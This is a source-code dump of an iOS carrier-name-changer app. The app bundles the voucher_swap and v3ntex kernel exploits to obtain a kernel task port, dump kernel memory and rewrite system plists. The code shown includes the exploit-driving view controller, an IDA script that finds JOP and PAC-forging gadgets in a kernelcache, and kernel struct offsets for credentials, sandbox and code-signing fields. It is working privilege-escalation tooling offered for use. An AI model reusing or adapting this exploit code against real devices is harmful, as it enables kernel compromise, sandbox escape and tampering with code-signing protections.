11 | //v3ntex
12 | kern_return_t mach_vm_read_overwrite(vm_map_t target_task, mach_vm_address_t address, mach_vm_size_t size, mach_vm_address_t data, mach_vm_size_t *outsize);
13 |
14 | @interface ViewController () {
15 | BOOL is4Kdevice;
16 | }
17 |
18 | @end
19 |
20 | @implementation ViewController
21 |
22 | - (bool)voucher_swap {
23 | vm_size_t size = 0;
24 | host_page_size(mach_host_self(), &size);
25 | if (size < 16000) {
26 | printf("4K device\nExploit selected: v3ntex.\n");
27 | is4Kdevice = TRUE;
28 | return false;
29 | }
30 | voucher_swap();
31 | if (!MACH_PORT_VALID(kernel_task_port)) {
32 | printf("tfp0 is invalid?\n");
33 | is4Kdevice = FALSE;
34 | return false;
35 | }
36 | printf("16K device\nExploit selected: voucher_swap.\n");
37 | is4Kdevice = FALSE;
38 | return true;
39 | }
40 |
41 | //v3ntex
42 | void DumpHex(const void* data, size_t size) {
43 | char ascii[17];
44 | size_t i, j;
45 | ascii[16] = '\0';
46 | for (i = 0; i < size; ++i) {
47 | printf("%02X ", ((unsigned char*)data)[i]);
48 | if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') {
49 | ascii[i % 16] = ((unsigned char*)data)[i];
50 | } else {
51 | ascii[i % 16] = '.';
52 | }
53 | if ((i+1) % 8 == 0 || i+1 == size) {
54 | printf(" ");
55 | if ((i+1) % 16 == 0) {
56 | printf("| %s \n", ascii);
57 | } else if (i+1 == size) {
58 | ascii[(i+1) % 16] = '\0';
59 | if ((i+1) % 16 <= 8) {
60 | printf(" ");
61 | }
62 | for (j = (i+1) % 16; j < 16; ++j) {
63 | printf(" ");
64 | }
65 | printf("| %s \n", ascii);
66 | }
67 | }
68 | }
69 | }
70 |
71 | //v3ntex
72 | kern_return_t dumpSomeKernel(task_t tfp0, kptr_t kbase, void *data){
73 | kern_return_t err = 0;
74 | char buf[0x1000] = {};
75 |
76 | mach_vm_size_t rSize = 0;
77 | err = mach_vm_read_overwrite(tfp0, kbase, sizeof(buf), buf, &rSize);
78 |
79 | printf("some kernel:\n");
80 | DumpHex(buf, sizeof(buf));
81 |
82 | printf("lol\n");
83 | [[NSUserDefaults standardUserDefaults] setBool:TRUE forKey:@"isSucceed"];
84 | return err;
85 | }
86 |
87 | - (void)failure {
88 | UIAlertController *alert = [UIAlertController alertControllerWithTitle:@"Error: exploit" message:nil preferredStyle:UIAlertControllerStyleAlert];
89 | [self presentViewController:alert animated:YES completion:nil];
90 | }
91 |
92 | - (void)v3ntexFailure {
93 | UIAlertController *alert = [UIAlertController alertControllerWithTitle:@"Error: exploit. Reboot and retry." message:nil preferredStyle:UIAlertControllerStyleAlert];
94 | [self presentViewController:alert animated:YES completion:nil];
95 | }
96 |
97 |
98 | - (IBAction)go:(id)sender {
99 | Post *post = [[Post alloc] init];
100 | bool success = [self voucher_swap];
101 | if (success) {
102 | sleep(1);
103 | [post go];
104 | [self editPlist];
105 | [post reboot];
106 |
107 | UIAlertController *alert = [UIAlertController alertControllerWithTitle:@"Success!" message:[NSString stringWithFormat:@"Successfuly changed carrier name to %@", self.carrierTextField.text] preferredStyle:UIAlertControllerStyleAlert];
108 | [alert addAction:[UIAlertAction actionWithTitle:@"Done" style:UIAlertActionStyleCancel handler:nil]];
109 | [self presentViewController:alert animated:YES completion:nil];
110 | } else if (is4Kdevice) {
111 | [self dov3ntex];
112 | if ([[NSUserDefaults standardUserDefaults] boolForKey:@"isSucceed"] == TRUE) {
113 | printf("v3ntex: success\n");
114 | [post letsChange];
115 | [self editPlist];
116 | [post v3ntexApply];
117 |
118 | UIAlertController *alert = [UIAlertController alertControllerWithTitle:@"Success!" message:[NSString stringWithFormat:@"Successfuly changed carrier name to %@ \n Reboot your device.", self.carrierTextField.text] preferredStyle:UIAlertControllerStyleAlert];
119 | [alert addAction:[UIAlertAction actionWithTitle:@"Done" style:UIAlertActionStyleCancel handler:nil]];
120 | [self presentViewController:alert animated:YES completion:nil];
121 | } else {
122 | printf("v3ntex: failed\n");
123 | [self v3ntexFailure];
124 | }
125 | } else {
126 | [self failure];
127 | }
128 | }
129 |
130 | - (void)editPlist {
131 | NSString *folderPath = @"/var/mobile/Media/Overlay/";
132 | NSString *carrierText = self.carrierTextField.text;
133 | NSArray *plistNames = [[NSFileManager defaultManager] contentsOfDirectoryAtPath:folderPath error:nil];
134 |
135 | for (NSString *plistName in plistNames) {
136 |
137 | if (![plistName.pathExtension isEqualToString:@"plist"]) {
138 | continue;
139 | }
140 |
141 | NSString *plistFullPath = [folderPath stringByAppendingPathComponent:plistName];
142 |
143 | NSMutableDictionary* plistDict = [[NSDictionary dictionaryWithContentsOfFile:plistFullPath] mutableCopy];
144 | NSMutableArray* images = [plistDict[@"StatusBarImages"] mutableCopy];
145 | for (int i = 0; i < images.count; i++)
146 | {
147 | NSMutableDictionary* sbImage = [images[i] mutableCopy];
148 | [sbImage setValue:carrierText forKey:@"StatusBarCarrierName"];
149 | images[i] = [sbImage copy];
150 | }
151 | plistDict[@"StatusBarImages"] = [images copy];
152 | [plistDict setValue:carrierText forKey:@"OverrideOperatorWiFiName"];
153 |
154 | [plistDict writeToFile:plistFullPath atomically:YES];
155 | }
156 | }
157 |
158 | - (void)viewDidLoad {
159 | [super viewDidLoad];
160 | self.carrierTextField.delegate = self;
161 | }
162 |
163 | - (IBAction)gotRevert:(id)sender {
164 | Post *post = [[Post alloc] init];
165 | bool success = [self voucher_swap];
166 | if (success) {
167 | sleep(1);
168 | if ([[NSFileManager defaultManager] fileExistsAtPath:@"/var/mobile/Media/CarrierChanger12/"]) {
169 | [post revert];
170 | [post reboot];
171 | UIAlertController *alert = [UIAlertController alertControllerWithTitle:@"Success!" message:[NSString stringWithFormat:@"Successfully changed carrier name again."] preferredStyle:UIAlertControllerStyleAlert];
172 | [alert addAction:[UIAlertAction actionWithTitle:@"Done" style:UIAlertActionStyleCancel handler:nil]];
173 | [self presentViewController:alert animated:YES completion:nil];
174 | } else {
175 | UIAlertController *alert = [UIAlertController alertControllerWithTitle:@"Failed." message:[NSString stringWithFormat:@"You have never changed carrier name before. press Apply instead of this."] preferredStyle:UIAlertControllerStyleAlert];
176 | [alert addAction:[UIAlertAction actionWithTitle:@"Done" style:UIAlertActionStyleCancel handler:nil]];
177 | [self presentViewController:alert animated:YES completion:nil];
178 | }
179 | } else if (is4Kdevice) {
180 | if ([[NSFileManager defaultManager] fileExistsAtPath:@"/var/mobile/Media/CarrierChanger12/"]) {
181 | [self dov3ntex];
182 | if ([[NSUserDefaults standardUserDefaults] boolForKey:@"isSucceed"] == TRUE) {
183 | printf("v3ntex: success\n");
184 | [post changeItAgain];
185 | [post v3ntexApply];
186 | UIAlertController *alert = [UIAlertController alertControllerWithTitle:@"Success!" message:[NSString stringWithFormat:@"Successfully changed carrier name again. Reboot your device."] preferredStyle:UIAlertControllerStyleAlert];
187 | [alert addAction:[UIAlertAction actionWithTitle:@"Done" style:UIAlertActionStyleCancel handler:nil]];
188 | [self presentViewController:alert animated:YES completion:nil];
189 | } else {
190 | printf("v3ntex: failed\n");
191 | [self v3ntexFailure];
192 | }
193 | } else {
194 | UIAlertController *alert = [UIAlertController alertControllerWithTitle:@"Failed." message:[NSString stringWithFormat:@"You have never changed carrier name before. press Apply instead of this."] preferredStyle:UIAlertControllerStyleAlert];
195 | [alert addAction:[UIAlertAction actionWithTitle:@"Done" style:UIAlertActionStyleCancel handler:nil]];
196 | [self presentViewController:alert animated:YES completion:nil];
197 | }
198 | } else {
199 | [self failure];
200 | }
201 | }
202 |
203 | - (void)dov3ntex {
204 | struct utsname ustruct = {};
205 | uname(&ustruct);
206 | printf("kern=%s\n",ustruct.version);
207 |
208 | mach_port_t tfp0 = v3ntex();
209 | if (tfp0) dumpSomeKernel(tfp0, kbase, NULL);
210 | }
211 |
212 | - (BOOL) textFieldShouldReturn:(UITextField *)textField {
213 | [textField resignFirstResponder];
214 | return YES;
215 | }
216 |
217 | - (IBAction)creditClicked:(id)sender {
218 | UIAlertController *alert = [UIAlertController alertControllerWithTitle:@"Credits" message:[NSString stringWithFormat:@"voucher_swap by bazad\nfork by alticha\nv3ntex by tihmstar\nfork by Jake James\nCarrierChanger12 by PeterDev\n\nSpecial Thanks to Muirey, Luis E,\nWei-Jin Tzeng, Code4iOS,\n jailbreak365 and CoryKornowicz"] preferredStyle:UIAlertControllerStyleAlert];
219 | [alert addAction:[UIAlertAction actionWithTitle:@"Done" style:UIAlertActionStyleCancel handler:nil]];
220 | [self presentViewController:alert animated:YES completion:nil];
221 | }
222 | @end
223 |
--------------------------------------------------------------------------------
/voucher_swap/app/main.m:
--------------------------------------------------------------------------------
1 | //
2 | // main.m
3 | // voucher_swap
4 | //
5 | // Created by Brandon Azad on 12/7/18.
6 | // Copyright © 2018 Brandon Azad. All rights reserved.
7 | //
8 |
9 | #import
10 | #import "AppDelegate.h"
11 |
12 | int main(int argc, char * argv[]) {
13 | @autoreleasepool {
14 | return UIApplicationMain(argc, argv, nil, NSStringFromClass([AppDelegate class]));
15 | }
16 | }
17 |
--------------------------------------------------------------------------------
/voucher_swap/headers/IOKitLib.h:
--------------------------------------------------------------------------------
1 | /*
2 | * IOKitLib.h
3 | * Brandon Azad
4 | */
5 | #ifndef VOUCHER_SWAP__IOKITLIB_H_
6 | #define VOUCHER_SWAP__IOKITLIB_H_
7 |
8 | #include
9 | #include
10 |
11 | typedef mach_port_t io_object_t;
12 | typedef io_object_t io_connect_t;
13 | typedef io_object_t io_iterator_t;
14 | typedef io_object_t io_service_t;
15 |
16 | extern const mach_port_t kIOMasterPortDefault;
17 |
18 | kern_return_t
19 | IOObjectRelease(
20 | io_object_t object );
21 |
22 | io_object_t
23 | IOIteratorNext(
24 | io_iterator_t iterator );
25 |
26 | io_service_t
27 | IOServiceGetMatchingService(
28 | mach_port_t masterPort,
29 | CFDictionaryRef matching CF_RELEASES_ARGUMENT);
30 |
31 | kern_return_t
32 | IOServiceGetMatchingServices(
33 | mach_port_t masterPort,
34 | CFDictionaryRef matching CF_RELEASES_ARGUMENT,
35 | io_iterator_t * existing );
36 |
37 | kern_return_t
38 | IOServiceOpen(
39 | io_service_t service,
40 | task_port_t owningTask,
41 | uint32_t type,
42 | io_connect_t * connect );
43 |
44 | kern_return_t
45 | IOServiceClose(
46 | io_connect_t connect );
47 |
48 | kern_return_t
49 | IOConnectCallMethod(
50 | mach_port_t connection, // In
51 | uint32_t selector, // In
52 | const uint64_t *input, // In
53 | uint32_t inputCnt, // In
54 | const void *inputStruct, // In
55 | size_t inputStructCnt, // In
56 | uint64_t *output, // Out
57 | uint32_t *outputCnt, // In/Out
58 | void *outputStruct, // Out
59 | size_t *outputStructCnt) // In/Out
60 | AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER;
61 |
62 | kern_return_t
63 | IOConnectTrap6(io_connect_t connect,
64 | uint32_t index,
65 | uintptr_t p1,
66 | uintptr_t p2,
67 | uintptr_t p3,
68 | uintptr_t p4,
69 | uintptr_t p5,
70 | uintptr_t p6);
71 |
72 | CFMutableDictionaryRef
73 | IOServiceMatching(
74 | const char * name ) CF_RETURNS_RETAINED;
75 |
76 | #endif
77 |
--------------------------------------------------------------------------------
/voucher_swap/headers/ipc_port.h:
--------------------------------------------------------------------------------
1 | /*
2 | * ipc_port.h
3 | * Brandon Azad
4 | */
5 | #ifndef VOUCHER_SWAP__IPC_PORT_H_
6 | #define VOUCHER_SWAP__IPC_PORT_H_
7 |
8 | #include
9 | #include
10 |
11 | // ---- osfmk/kern/waitq.h ------------------------------------------------------------------------
12 |
13 | #define _EVENT_MASK_BITS ((sizeof(uint32_t) * 8) - 7)
14 |
15 | #define WQT_QUEUE 0x2
16 |
17 | union waitq_flags {
18 | struct {
19 | uint32_t /* flags */
20 | waitq_type:2, /* only public field */
21 | waitq_fifo:1, /* fifo wakeup policy? */
22 | waitq_prepost:1, /* waitq supports prepost? */
23 | waitq_irq:1, /* waitq requires interrupts disabled */
24 | waitq_isvalid:1, /* waitq structure is valid */
25 | waitq_turnstile_or_port:1, /* waitq is embedded in a turnstile (if irq safe), or port (if not irq safe) */
26 | waitq_eventmask:_EVENT_MASK_BITS;
27 | };
28 | uint32_t flags;
29 | };
30 |
31 | // ---- osfmk/kern/ipc_kobject.h ------------------------------------------------------------------
32 |
33 | #define IKOT_NONE 0
34 | #define IKOT_TASK 2
35 |
36 | // ---- osfmk/ipc/ipc_object.h --------------------------------------------------------------------
37 |
38 | #define IO_BITS_KOTYPE 0x00000fff /* used by the object */
39 | #define IO_BITS_ACTIVE 0x80000000 /* is object alive? */
40 |
41 | #define io_makebits(active, otype, kotype) \
42 | (((active) ? IO_BITS_ACTIVE : 0) | ((otype) << 16) | (kotype))
43 |
44 | #define IOT_PORT 0
45 |
46 | // ---- Custom definitions ------------------------------------------------------------------------
47 |
48 | #define MACH_HEADER_SIZE_DELTA (2 * (sizeof(uint64_t) - sizeof(uint32_t)))
49 |
50 | // ------------------------------------------------------------------------------------------------
51 |
52 | #endif
53 |
--------------------------------------------------------------------------------
/voucher_swap/headers/mach_vm.h:
--------------------------------------------------------------------------------
1 | /*
2 | * mach_vm.h
3 | * Brandon Azad
4 | */
5 | #ifndef VOUCHER_SWAP__MACH_VM_H_
6 | #define VOUCHER_SWAP__MACH_VM_H_
7 |
8 | #include
9 |
10 | extern
11 | kern_return_t mach_vm_allocate
12 | (
13 | vm_map_t target,
14 | mach_vm_address_t *address,
15 | mach_vm_size_t size,
16 | int flags
17 | );
18 |
19 | extern
20 | kern_return_t mach_vm_deallocate
21 | (
22 | vm_map_t target,
23 | mach_vm_address_t address,
24 | mach_vm_size_t size
25 | );
26 |
27 | extern
28 | kern_return_t mach_vm_write
29 | (
30 | vm_map_t target_task,
31 | mach_vm_address_t address,
32 | vm_offset_t data,
33 | mach_msg_type_number_t dataCnt
34 | );
35 |
36 | extern
37 | kern_return_t mach_vm_read_overwrite
38 | (
39 | vm_map_t target_task,
40 | mach_vm_address_t address,
41 | mach_vm_size_t size,
42 | mach_vm_address_t data,
43 | mach_vm_size_t *outsize
44 | );
45 |
46 | #endif
47 |
--------------------------------------------------------------------------------
/voucher_swap/ida/kernel_call_parameters.py:
--------------------------------------------------------------------------------
1 | #
2 | # voucher_swap/kernel_call_parameters.py
3 | # Brandon Azad
4 | #
5 | # This script detects the kernel_call parameters for voucher_swap.
6 | #
7 | # Steps:
8 | # - Load the desired kernelcache into IDA Pro 7.2. Do not split by kext.
9 | # - Call analysis_init() to perform basic initialization of the kernelcache (converting pointers
10 | # to offsets, forcing instructions to code, etc.).
11 | # - Call voucher_swap_kernel_call_parameters() to find the kernel call parameters. These results
12 | # should be checked manually to ensure correctness!
13 | #
14 |
15 | from analysis import *
16 |
17 | def voucher_swap_kernel_call_parameters():
18 | process_metaclasses()
19 | process_vtables()
20 |
21 | has_pac = kernelcache_has_pac()
22 |
23 | if has_pac:
24 | analyze_l2tp_domain_module()
25 | find_jop_gadgets()
26 | find_pacxa_gadget()
27 | analyze_IOUserClient()
28 | analyze_IORegistryEntry()
29 | if has_pac:
30 | analyze_IOAudio2DeviceUserClient()
31 |
32 | def kernelcache_has_pac():
33 | header = get_segm_by_name('__TEXT:HEADER')
34 | cpu_subtype = idc.get_wide_dword(header + 0x8)
35 | return cpu_subtype >= 2
36 |
37 | def analyze_l2tp_domain_module():
38 | # Get the pointers to l2tp_domain_module_start and l2tp_domain_module_stop.
39 | com_apple_nke_lttp = find_string('com.apple.nke.lttp')
40 | paciza_pointer__l2tp_domain_module_start = com_apple_nke_lttp + 0xb8
41 | paciza_pointer__l2tp_domain_module_stop = com_apple_nke_lttp + 0xc0
42 | assert is_code_ptr(paciza_pointer__l2tp_domain_module_start)
43 | assert is_code_ptr(paciza_pointer__l2tp_domain_module_stop)
44 | print_address('paciza_pointer__l2tp_domain_module_start', paciza_pointer__l2tp_domain_module_start)
45 | print_address('paciza_pointer__l2tp_domain_module_stop', paciza_pointer__l2tp_domain_module_stop)
46 | # Get the address of l2tp_domain_inited.
47 | l2tp_domain_init_str = find_substring('L2TP domain init')
48 | l2tp_domain_init = functions_with_xref_to(l2tp_domain_init_str)[0]
49 | l2tp_domain_inited = xrefs_from_func(l2tp_domain_init, ida_xref.dr_W)[0].to
50 | print_address('l2tp_domain_inited', l2tp_domain_inited)
51 | # Get the address of sysctl__net_ppp_l2tp.
52 | xrefs = xrefs_to(l2tp_domain_inited, ida_xref.dr_W)
53 | xrefs = filter(lambda xref: get_func_start(xref.frm) != l2tp_domain_init, xrefs)
54 | bb_start, bb_end = get_basic_block(xrefs[0].frm)
55 | sysctl__net_ppp_l2tp = xrefs_from_range(bb_start, bb_end, ida_xref.dr_O)[0].to
56 | print_address('sysctl__net_ppp_l2tp', sysctl__net_ppp_l2tp)
57 | # Get the address of sysctl_unregister_oid.
58 | sysctl_unregister_oid = xrefs_from_range(bb_start, bb_end, ida_xref.fl_CN)[0].to
59 | print_address('sysctl_unregister_oid', sysctl_unregister_oid)
60 |
61 | def find_jop_gadgets():
62 | start_ea = get_segm_by_name('__TEXT_EXEC:__text')
63 | mov_x0_x4__br_x5 = idc.FindBinary(start_ea, idc.SEARCH_DOWN, "E0 03 04 AA A0 00 1F D6")
64 | mov_x9_x0__br_x1 = idc.FindBinary(start_ea, idc.SEARCH_DOWN, "E9 03 00 AA 20 00 1F D6")
65 | mov_x10_x3__br_x6 = idc.FindBinary(start_ea, idc.SEARCH_DOWN, "EA 03 03 AA C0 00 1F D6")
66 | print_address('mov_x0_x4__br_x5', mov_x0_x4__br_x5)
67 | print_address('mov_x9_x0__br_x1', mov_x9_x0__br_x1)
68 | print_address('mov_x10_x3__br_x6', mov_x10_x3__br_x6)
69 |
70 | def find_pacxa_gadget():
71 | start_ea = get_segm_by_name('__TEXT_EXEC:__text')
72 | # These gadgets are much bigger than this: they encompass the entire function after the
73 | # specified entry point. But this should be enough to uniquely identify them.
74 | pacia_gadget = idc.FindBinary(start_ea, idc.SEARCH_DOWN,
75 | "49 01 C1 DA 49 78 00 F9 49 7C 40 F9 89 00 00 B4")
76 | pacda_gadget = idc.FindBinary(start_ea, idc.SEARCH_DOWN,
77 | "49 09 C1 DA 49 74 00 F9 89 F0 3C D5 29 01 7E B2")
78 | print_address('kernel_forge_pacia_gadget', pacia_gadget)
79 | print_address('kernel_forge_pacda_gadget', pacda_gadget)
80 | # Ideally we'd auto-detect these values by analyzing data flow in the function.
81 | print_size('kernel_forge_pacxa_gadget_buffer', 0x110)
82 | print_offset('kernel_forge_pacxa_gadget_buffer', 'first_access', 0xe8);
83 | print_offset('kernel_forge_pacxa_gadget_buffer', 'pacia_result', 0xf0);
84 | print_offset('kernel_forge_pacxa_gadget_buffer', 'pacda_result', 0xe8);
85 |
86 | def analyze_IOUserClient():
87 | print_address('IOUserClient__vtable', vtable_for_class('IOUserClient'))
88 |
89 | def analyze_IORegistryEntry():
90 | IORegistryEntry__getRegistryEntryID = idc.get_name_ea(idc.BADADDR,
91 | '__ZN15IORegistryEntry18getRegistryEntryIDEv')
92 | if IORegistryEntry__getRegistryEntryID == idc.BADADDR:
93 | IORegistryIterator_str = find_string('IORegistryIterator')
94 | base_func = functions_with_xref_to(IORegistryIterator_str)[1]
95 | IORegistryEntry__getRegistryEntryID = get_relative_func(base_func, -2)
96 | print_address('IORegistryEntry__getRegistryEntryID', IORegistryEntry__getRegistryEntryID)
97 |
98 | def analyze_IOAudio2DeviceUserClient():
99 | vtable = vtable_for_class('IOAudio2DeviceUserClient')
100 | print_vtable_pac_codes('IOAudio2DeviceUserClient', extract_vtable_pac_codes(vtable))
101 |
102 | # ---- Formatting ---------------------------------------------------------------------------------
103 |
104 | def print_vtable_pac_codes(name, pac_codes):
105 | formatted_pac_codes = '\n\t\t'
106 | for i in range(len(pac_codes)):
107 | formatted_pac_codes += '0x{:04x}'.format(pac_codes[i])
108 | if i == len(pac_codes) - 1:
109 | pass
110 | elif i % 8 == 7:
111 | formatted_pac_codes += ',\n\t\t'
112 | else:
113 | formatted_pac_codes += ', '
114 | print 'INIT_VTABLE_PAC_CODES({},{});'.format(name, formatted_pac_codes)
115 |
116 | def print_address(name, value):
117 | base = 'ADDRESS({})'.format(name)
118 | if is_mapped(value):
119 | value = 'SLIDE(0x{:016x})'.format(value)
120 | else:
121 | value = '0'
122 | print '{:56s}= {};'.format(base, value)
123 |
124 | def print_size(name, value):
125 | base = 'SIZE({})'.format(name)
126 | print '{:56s}= 0x{:x};'.format(base, value)
127 |
128 | def print_offset(base, field, value):
129 | base = 'OFFSET({}, {})'.format(base, field)
130 | print '{:56s}= 0x{:x};'.format(base, value)
131 |
132 |
--------------------------------------------------------------------------------
/voucher_swap/post/offsets.h:
--------------------------------------------------------------------------------
1 | #ifndef offsets_h
2 | #define offsets_h
3 |
4 | extern unsigned off_p_pid;
5 | extern unsigned off_task;
6 | extern unsigned off_p_uid;
7 | extern unsigned off_p_gid;
8 | extern unsigned off_p_ruid;
9 | extern unsigned off_p_rgid;
10 | extern unsigned off_p_ucred;
11 | extern unsigned off_p_csflags;
12 | extern unsigned off_p_comm;
13 |
14 | extern unsigned off_itk_self;
15 | extern unsigned off_itk_sself;
16 | extern unsigned off_itk_bootstrap;
17 | extern unsigned off_itk_space;
18 | extern unsigned off_ip_mscount;
19 | extern unsigned off_ip_srights;
20 | extern unsigned off_ip_kobject;
21 | extern unsigned off_p_textvp;
22 | extern unsigned off_p_textoff;
23 | extern unsigned off_p_cputype;
24 | extern unsigned off_p_cpu_subtype;
25 | extern unsigned off_special;
26 | extern unsigned off_ipc_space_is_table;
27 |
28 | extern unsigned off_ucred_cr_uid;
29 | extern unsigned off_ucred_cr_ruid;
30 | extern unsigned off_ucred_cr_gid;
31 | extern unsigned off_ucred_cr_rgid;
32 | extern unsigned off_ucred_cr_svgid;
33 | extern unsigned off_ucred_cr_groups;
34 | extern unsigned off_ucred_cr_ngroups;
35 | extern unsigned off_ucred_cr_svuid;
36 | extern unsigned off_ucred_cr_label;
37 |
38 | extern unsigned off_amfi_slot;
39 | extern unsigned off_sandbox_slot;
40 |
41 | extern unsigned off_v_type;
42 | extern unsigned off_v_id;
43 | extern unsigned off_v_ubcinfo;
44 | extern unsigned off_v_flags;
45 |
46 | extern unsigned off_ubcinfo_csblobs;
47 |
48 | extern unsigned off_csb_cputype;
49 | extern unsigned off_csb_flags;
50 | extern unsigned off_csb_base_offset;
51 | extern unsigned off_csb_entitlements_offset;
52 | extern unsigned off_csb_signer_type;
53 | extern unsigned off_csb_platform_binary;
54 | extern unsigned off_csb_platform_path;
55 | extern unsigned off_csb_cd;
56 |
57 | extern unsigned off_t_flags;
58 |
59 | extern unsigned off_v_mount;
60 | extern unsigned off_v_specinfo;
61 | extern unsigned off_specflags;
62 | extern unsigned off_mnt_flag;
63 | extern unsigned off_mnt_data;
64 |
65 | #define CS_VALID 0x0000001 /* dynamically valid */
66 | #define CS_ADHOC 0x0000002 /* ad hoc signed */
67 | #define CS_GET_TASK_ALLOW 0x0000004 /* has get-task-allow entitlement */
68 | #define CS_INSTALLER 0x0000008 /* has installer entitlement */
69 |
70 | #define CS_HARD 0x0000100 /* don't load invalid pages */
71 | #define CS_KILL 0x0000200 /* kill process if it becomes invalid */
72 | #define CS_CHECK_EXPIRATION 0x0000400 /* force expiration checking */
73 | #define CS_RESTRICT 0x0000800 /* tell dyld to treat restricted */
74 | #define CS_ENFORCEMENT 0x0001000 /* require enforcement */
75 | #define CS_REQUIRE_LV 0x0002000 /* require library validation */
76 | #define CS_ENTITLEMENTS_VALIDATED 0x0004000
77 |
78 | #define CS_ALLOWED_MACHO 0x00ffffe
79 |
80 | #define CS_EXEC_SET_HARD 0x0100000 /* set CS_HARD on any exec'ed process */
81 | #define CS_EXEC_SET_KILL 0x0200000 /* set CS_KILL on any exec'ed process */
82 | #define CS_EXEC_SET_ENFORCEMENT 0x0400000 /* set CS_ENFORCEMENT on any exec'ed process */
83 | #define CS_EXEC_SET_INSTALLER 0x0800000 /* set CS_INSTALLER on any exec'ed process */
84 |
85 | #define CS_KILLED 0x1000000 /* was killed by kernel for invalidity */
86 | #define CS_DYLD_PLATFORM 0x2000000 /* dyld used to load this is a platform binary */
87 | #define CS_PLATFORM_BINARY 0x4000000 /* this is a platform binary */
88 | #define CS_PLATFORM_PATH 0x8000000 /* platform binary by the fact of path (osx only) */
89 |
90 | #define CS_DEBUGGED 0x10000000 /* process is currently or has previously been debugged and allowed to run with invalid pages */
91 | #define CS_SIGNED 0x20000000 /* process has a signature (may have gone invalid) */
92 | #define CS_DEV_CODE 0x40000000 /* code is dev signed, cannot be loaded into prod signed code (will go away with rdar://problem/28322552) */
93 |
94 | void offs_init(void);
95 |
96 | #endif
97 |
--------------------------------------------------------------------------------
/voucher_swap/post/offsets.m:
--------------------------------------------------------------------------------
1 | #import
2 | #import "offsets.h"
3 |
4 | #define SYSTEM_VERSION_EQUAL_TO(v) ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] == NSOrderedSame)
5 | #define SYSTEM_VERSION_GREATER_THAN(v) ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] == NSOrderedDescending)
6 | #define SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(v) ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] != NSOrderedAscending)
7 | #define SYSTEM_VERSION_LESS_THAN(v) ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] == NSOrderedAscending)
8 | #define SYSTEM_VERSION_LESS_THAN_OR_EQUAL_TO(v) ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] != NSOrderedDescending)
9 |
10 | unsigned off_p_pid = 0x60; // proc_t::p_pid
11 | unsigned off_task = 0x10; // proc_t::task
12 | unsigned off_p_uid = 0x28; // proc_t::p_uid
13 | unsigned off_p_gid = 0x2C; // proc_t::p_uid
14 | unsigned off_p_ruid = 0x30; // proc_t::p_uid
15 | unsigned off_p_rgid = 0x34; // proc_t::p_uid
16 | unsigned off_p_ucred = 0xF8; // proc_t::p_ucred
17 | unsigned off_p_csflags = 0x290; // proc_t::p_csflags
18 | unsigned off_p_comm = 0x250; // proc_t::p_comm
19 | unsigned off_p_textvp = 0x230; // proc_t::p_textvp
20 | unsigned off_p_textoff = 0x238; // proc_t::p_textoff
21 | unsigned off_p_cputype = 0x2A8; // proc_t::p_cputype
22 | unsigned off_p_cpu_subtype = 0x2AC; // proc_t::p_cpu_subtype
23 |
24 | unsigned off_itk_self = 0xD8; // task_t::itk_self (convert_task_to_port)
25 | unsigned off_itk_sself = 0xE8; // task_t::itk_sself (task_get_special_port)
26 | unsigned off_itk_bootstrap = 0x2B8; // task_t::itk_bootstrap (task_get_special_port)
27 | unsigned off_itk_space = 0x300; // task_t::itk_space
28 |
29 | unsigned off_ip_mscount = 0x9C; // ipc_port_t::ip_mscount (ipc_port_make_send)
30 | unsigned off_ip_srights = 0xA0; // ipc_port_t::ip_srights (ipc_port_make_send)
31 | unsigned off_ip_kobject = 0x68; // ipc_port_t::ip_kobject
32 |
33 | unsigned off_special = 2 * sizeof(long); // host::special
34 | unsigned off_ipc_space_is_table = 0x20; // ipc_space::is_table?..
35 |
36 | unsigned off_ucred_cr_uid = 0x18; // ucred::cr_uid
37 | unsigned off_ucred_cr_ruid = 0x1c; // ucred::cr_ruid
38 | unsigned off_ucred_cr_svuid = 0x20; // ucred::cr_svuid
39 | unsigned off_ucred_cr_ngroups = 0x24; // ucred::cr_ngroups
40 | unsigned off_ucred_cr_groups = 0x28; // ucred::cr_groups
41 | unsigned off_ucred_cr_rgid = 0x68; // ucred::cr_rgid
42 | unsigned off_ucred_cr_svgid = 0x6c; // ucred::cr_svgid
43 | unsigned off_ucred_cr_label = 0x78; // ucred::cr_label
44 |
45 | unsigned off_amfi_slot = 0x8;
46 | unsigned off_sandbox_slot = 0x10;
47 |
48 | unsigned off_v_type = 0x70; // vnode::v_type
49 | unsigned off_v_id = 0x74; // vnode::v_id
50 | unsigned off_v_ubcinfo = 0x78; // vnode::v_ubcinfo
51 | unsigned off_v_flags = 0x54; // vnode::v_flags
52 |
53 | unsigned off_ubcinfo_csblobs = 0x50; // ubc_info::csblobs
54 |
55 | unsigned off_csb_cputype = 0x8; // cs_blob::csb_cputype
56 | unsigned off_csb_flags = 0x12; // cs_blob::csb_flags
57 | unsigned off_csb_base_offset = 0x16; // cs_blob::csb_base_offset
58 | unsigned off_csb_entitlements_offset = 0x90; // cs_blob::csb_entitlements
59 | unsigned off_csb_signer_type = 0xA0; // cs_blob::csb_signer_type
60 | unsigned off_csb_platform_binary = 0xA8; // cs_blob::csb_platform_binary
61 | unsigned off_csb_platform_path = 0xAC; // cs_blob::csb_platform_path
62 | unsigned off_csb_cd = 0x80; // cs_blob::csb_cd
63 |
64 | unsigned off_t_flags = 0x3A0; // task::t_flags
65 |
66 | unsigned off_v_mount = 0xD8; // vnode::v_mount
67 | unsigned off_v_specinfo = 0x78; // vnode::v_specinfo
68 | unsigned off_specflags = 0x10;
69 | unsigned off_mnt_flag = 0x70; // mount::mnt_flag
70 | unsigned off_mnt_data = 0x8F8; // mount::mnt_data
71 |
72 | void offs_init() {
73 | if (SYSTEM_VERSION_LESS_THAN(@"12.0")) {
74 | off_p_pid = 0x10;
75 | off_task = 0x18;
76 | off_p_uid = 0x30;
77 | off_p_gid = 0x34;
78 | off_p_ruid = 0x38;
79 | off_p_rgid = 0x3C;
80 | off_p_ucred = 0x100;
81 | off_p_csflags = 0x2A8;
82 | off_p_comm = 0x268;
83 | off_p_textvp = 0x248;
84 | off_p_textoff = 0x250;
85 | off_p_cputype = 0x2C0;
86 | off_p_cpu_subtype = 0x2C4;
